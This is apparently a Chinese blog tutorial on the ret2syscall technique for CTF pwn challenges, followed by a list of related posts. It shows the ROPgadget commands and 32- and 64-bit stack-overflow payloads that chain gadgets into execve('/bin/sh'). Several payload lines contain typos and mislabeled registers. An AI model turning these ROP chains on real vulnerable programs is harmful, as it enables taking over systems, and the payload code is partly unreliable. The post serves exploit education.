RET2syscall

从零开始学逆向:理解ret2syscall 链接:https://pan.baidu.com/s/19ymHlZZmVGsJHFmmlwww0w 提取码:r4el 首先checksec 看一下保护机制ret2syscall 即控制程序执行系统调用来获取 shell 什么是系统调用?​ 3.1 使用ida打开分析 ​gets函数存在明显的栈溢出,但是这次没有后门函数,NX防护也打开了,那么就要换一种套路了,通过系统调用拿到shell 我们需要控制eax,ebx,ecx,edx的值,可以使用ROPgadget这个工具帮我们找到所需的代码片段。 阅读详情

原理

  • 基本rop之一,意为call system,控制程序执行系统调用,获取shell。

X32

我们的目的是要把对应获取 shell 的系统调用的参数放到对应的寄存器中。即:

execve("/bin/sh",NULL,NULL)

向寄存器存放的参数分别为:

  • 系统调用号,即 eax 应该为 0xb “此为execve对应的系统调用号”

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

  • int 0x80(触发中断)

    而想要完成参数存入就需要构造rop链,这是就需要这些寄存器的地址了,所以自然而然我们就想到了一个工具:ROP gadgets

    1. eax:

      ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
    2. others:

      ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

      一般我们可以直接找出ebx,ecx,edx三个寄存器连在一起的地址,这样便于我们直接修改。

      3.bin_sh:

    ROPgadget --binary rop --string '/bin/sh'

    这里我们也可以直接·在ida中shift+12直接找出

    4.int 0x80:

    ROPgadget --binary rop --only 'int'

    之后我们写上payload输出交互就可以了

    payload=b'a'*0ffest+p32(pop_eax_ret)+p32(0x0b)+p32( pop_edx_ecx_ebx_ret)+p32(0x0)+p32(0x0)+p32(bin_sh)+p32(int_0x80)
    #offest为s到ebp的偏移量+4  需要使用gbd调试

    EXP:

可以看到 esp 为 0xffffcd40,ebp 为具体的 payload 如下 0xffffcdc8,同时 s 相对于 esp 的索引为 [esp+0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c+4。

当然,我们也可以通过bp-64h直接看出偏移量,但是这里32位编译器编译出来的位移量是有误的,所以最好还是用gbd运行一下看看

X64

与32位类似,但是传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)。且ret返回的函数名不同

  • 32位为int 0x80,64位为syscall ret

64位binary下的shell:

  1. rax:59

  2. rdi:bin_sh_addr

  3. rsi:0

  4. rdx:0

  5. rcx:0

  6. syscall

    和32位一样,我们先用ROP找出其中对应的寄存器的地址

  1. rax:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rax'
  2. rsi:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rsi'
  3. bin_sh:

    ROPgadget --binary demo --string '/bin/sh'
  4. syscall:

    ROPgadget --binary demo | grep 'syscall'
  5. rdi:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rdi'

之后写出payload即可

payload=b'a'*offest+rdi_addr+bin_sh+eax_rdx_ebx_addr+p64(0x3b)+p64(0x0)+p64(0X0)+rsi_addr+p64(0x0)+syscall_addr#这里的eax其实就是rax

【PWN · ret2syscall】[Wiki] ret2syscall 虽然网上(包括优快云)有很多ret2syscall的例题,但大多是Wiki,且摘自官方题解蒟蒻想从自己的“碰南墙“的历程出发,以蒟蒻萌新的视角,述说蒟蒻萌新的新路历程~~ 阅读详情

相关推荐

ret2csu的利用

64位的动态连接文件一般有一段万能的gadget,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值,并且还可以call我们指定的地址。可以看到上面两端汇编几乎囊括了传参的寄存器,而且还有call指令以及retn,我们可以利用这两段gadget来传参和调用,因为我们要先调用下面一段来传参,所以我们认为下面一段为gadget1,上面一段为gadget2。上面在调用了gadget1后又填充了a*8,因为寄存器是用sp指针来传参的,所以rsp要正确指向寄存器。

zhuo1358的博客 1157

linux_pwn(5)--ret2syscall x64&&[极客大挑战 2019]Not Bad

文章目录 What is ret2syscall pwn题思路 例题 保护机制 写payload 打开flag 读取flag 写到输出中 生成shellcode 开始做题 调用read(0,mem,0x1000)把我们真正的shellcode写道mem 调试是否可以往mem写shellcode 往mem填写读取flag的shellcode 总结 What is ret2syscall ret2syscall是栈溢出里常见的一种手法,如果在x86下有int 80或者在x64中看到s

m0_67266787的博客 1418

[ret2syscall]

syscall是一个系统调用指令,用于在用户态程序和内核之间进行通信。在现代操作系统中,用户态程序不能直接执行内核级别的操作,而是通过系统调用接口来请求内核执行特定的任务。系统调用是操作系统提供的一组标准接口,允许用户态程序执行如文件操作、网络通信、进程管理等底层功能那么我们的ret2syscall其实就是调用系统函数来获取shell直接简而言之我们需要 调用 execve("/binsh",NULL,NULL)函数。

GUANGUANMAO1的博客 1006

ret2syscall简单总结

主要是自己的简单的学习总结。

ULGANOY的博客 1909

ret2Syscall writeup

例题: ret2Syscall 查看安全策略 [*] '/root/ctf/Other/pwn/ret2syscall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 开启了NX enabled 查看字符串和方法 未发现可以利用直接或间接调用的system函

Morphy_Amo的博客 1493

PWN基础-ROP技术-ret2syscall-64位程序栈溢出利用

后面传两个参数就可以了,分开写,一起写都可以的,这里就不做过多演示了。前置 ret2syscall 的基础我们就不做过多讲解了。execve 系统调用号是 59,也就是 0x3b。ida 看一下 main 函数,存在明显的栈溢出。看到有两个连一起的,当然我们也可以一个一个地传参。而 64 位系统调用最后是执行 syscall。32 位系统调用最后是执行 int x080。我们这里只用到前三个就可以了,以及 rax。这里看到的这个不对,因为后面没有 ret。正确的应该是 0x45BAC5。

Welcome To My6n Blog 899

从ctfwiki开始的pwn之旅 3.ret2syscall

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。那么ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

2301_80361487的博客 1044

艾德克斯电子负载IT8510维修

2年前从朋友那收了这台艾德克斯电子负载,收来的时候上面的编码器就不好用,就是旋转的时候一会增加一会减小这种现象,不过其他功能都是正常的,自己也就将就用这。直到昨天,电子负载开机发现空载的时候电压不是0,开始有mV级的跳动,心想这个不正常。又测试了一下恒流功能,已经不能正常工作了。

mainbanp 4653

ret2syscall

原理 ret2syscall,即控制程序执行系统调用,获取 shell。 步骤 checksec检查是否有保护 可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 ...

qq_44759495的博客 1522

ANSYS APDL 后处理:用*GET和ETABLE命令把节点/单元应力结果导出到TXT文件(附完整命令流)

本文详细介绍了在ANSYS APDL中使用*GET和ETABLE命令导出节点和单元应力数据到TXT文件的完整方案。通过节点解和单元解的核心逻辑分析,提供了从基础到进阶的数据导出方法,包括节点应力、单元应力数据的提取与格式化输出,以及高级技巧如选择性导出与数据过滤。帮助工程师高效完成有限元分析后处理工作。

weixin_26805597的博客 633

03 Aras Innovator二次开发-服务端方法(二)

Aras Innovator二次开发-服务端方法书写

企业信息化(PLM,ERP.MES) 2017

8.6ret2syscall

ret2syscall 32&64位

2401_83500274的博客 1004

基于N32G003的PMBus从机协议栈设计与STM32F103模拟I2C主机通信实战

本文详细介绍了基于N32G003微控制器设计PMBus从机协议栈,并与STM32F103模拟I2C主机进行通信的实战方案。重点阐述了中断驱动架构、命令解析、CRC8优化及超时恢复机制,实现了在70kHz速率下稳定可靠的工业电源管理通信,适用于服务器电源、通信基站等成本敏感应用场景。

numpy6sculptor的博客 919

ret2syscall技术

ret2syscall技术的原理大致为:从一个程序的进程空间去找一些函数汇编指令序列,然后通过堆栈操作构造execve("/bin/sh",null.null)这个函数,从而在利用溢出漏洞的时候去执行这个函数来获取系统调用。 execve("/bin/sh",null.null)函数的汇编程序为: pop eax, # 系统调用号载入, execve为0xb pop ebx, # 第...

weixin_44119101的博客 747

支付逻辑漏洞的八大姿势(上篇)

学习支付漏洞,看这篇文章!!!文章来源:SecHub网络安全社区(本资料仅供学习参考,严禁使用者进行未授权渗透测试!严禁任何形式的转载!

qq_39493066的博客 1358

汽车标定技术(七)--英飞凌TC3xx_Overlay实现页切换

今天说要开个专栏讲讲XCP标定,但在将标定之前,先把英飞凌专门为标定功能设计overlay功能讲解清楚。

认真搞搞汽车MCU 4017

Ret2syscall(超详细)

(System Call)是操作系统提供给应用程序的接口,允许应用程序请求操作系统内核执行某些特权操作。由于操作系统内核运行在更高的特权级别(如x86架构中的),普通应用程序(运行在)无法直接访问硬件资源或执行某些敏感操作(如文件读写、进程管理、网络通信等)。因此,应用程序需要通过系统调用来请求内核完成这些操作。我用自己的话说就是设置对应寄存器的值,达到调用系统函数的过程下面是对应的系统调用表Linux X86架构 32 64系统调用表_32位 syscall-优快云博客。

m0_68956519的博客 1428

华为OD机试 - 报文响应时间 - 贪心算法、位运算(Python/JS/C/C++ 2024 E卷 200分)

贪心算法是在每一步选择中都做出当前最优的选择,期望通过局部最优解推导出全局最优解的算法。

学Java,找哪吒 1758

pwn_learning系列 04 ret2syscall

tip:1.文章参考了多方资料,仅供自己学习2.相关内容已同步至Limur0的博客。

Lere_的博客 831

【OpenClaw企业级智能体实战】第10篇:医疗行业OpenClaw实战:病历自动书写、医保智能审核与患者随访管理(附HIPAA合规配置+完整代码)

医疗行业正面临“效率提升需求”与“合规监管红线”的双重矛盾:病历书写占据医生30%-50%工作时间,医保审核效率低下,患者随访工作量巨大,但医疗数据“不出域”“责任不转移”的要求又限制了AI落地。本文基于华为云、腾讯云安全规范及中关村科金、复旦大学附属中山医院等真实实践,拆解OpenClaw在医疗场景的五大核心应用(病历自动书写、医保智能审核、患者随访管理、科研文献综述、医学影像预处理),提供私有化部署架构、HIPAA合规配置模板、完整实操流程及可直接运行的代码。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 441

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

上一篇: 关于ret2libc的大致见解
下一篇: Canary章节学习
T_Fire_of_Square
博客等级 码龄3年 110粉丝 29原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值